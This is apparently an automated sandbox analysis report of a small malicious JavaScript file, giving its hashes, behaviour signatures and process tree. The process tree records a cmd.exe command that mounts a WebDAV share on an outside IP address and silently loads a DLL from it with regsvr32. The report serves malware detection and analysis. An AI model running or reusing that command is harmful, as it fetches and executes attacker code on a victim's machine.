Analysis

  • max time kernel
    120s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    21/07/2024, 15:45

General

  • Target

    20720195441725328963.js

  • Size

    4KB

  • MD5

    a6055d6c0be4317a4e763f0248bb805e

  • SHA1

    49000ce468e64fe6863cdf620adc24659253b15e

  • SHA256

    c2e3f93efe6b807fd4e6c187600ffaa787459b84310ab6578a193db9160e5251

  • SHA512

    7574c4cb00bd8e4564a81943e5a295d6df42565b2f35996a4186ddf31243743dff551be3e4fdc94015bfbc678218c82ff9e98b7e72dba91164a068e51a854896

  • SSDEEP

    48:qhKekSKBLxrkqKHze+fch1LfQW0TIth1LwVnR8vKxIZmuAkssmmu0+UaPsAiLUaq:6KKKB1Irf+DQYUOvKxIZmuAkpmmuX

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\20720195441725328963.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2356
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\121011915210042.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2252
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3032

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads